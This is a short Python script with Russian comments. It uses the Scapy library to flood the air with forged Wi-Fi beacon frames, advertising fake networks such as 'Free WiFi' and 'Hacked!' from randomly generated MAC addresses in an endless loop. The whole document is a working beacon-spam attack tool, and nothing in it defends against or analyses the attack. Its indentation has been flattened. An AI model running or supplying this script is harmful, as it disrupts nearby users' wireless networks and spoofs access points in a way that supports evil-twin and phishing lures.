from scapy.all import Dot11, Dot11Beacon, Dot11Elt, RadioTap, sendp, randmac
import time
# Конфигурация
interface = "wlan0mon" # Имя твоего интерфейса в режиме монитора
ssids = ["Free WiFi", "Hacked!", "Testing Python", "12345678"] # Список имен сетей
def send_beacon(ssid, mac, interface):
# Формируем пакет: RadioTap + заголовок 802.11 + Beacon Frame + SSID
dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=mac, addr3=mac)
beacon = Dot11Beacon(cap="ESS+privacy")
essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid))
packet = RadioTap() / dot11 / beacon / essid
sendp(packet, iface=interface, verbose=False)
print(f"Запуск спама на интерфейсе {interface}...")
try:
while True:
for name in ssids:
# Генерируем случайный MAC-адрес для каждой сети
mac = randmac()
send_beacon(name, mac, interface)
time.sleep(0.1) # Пауза между циклами рассылки
except KeyboardInterrupt:
print("\nОстановка...")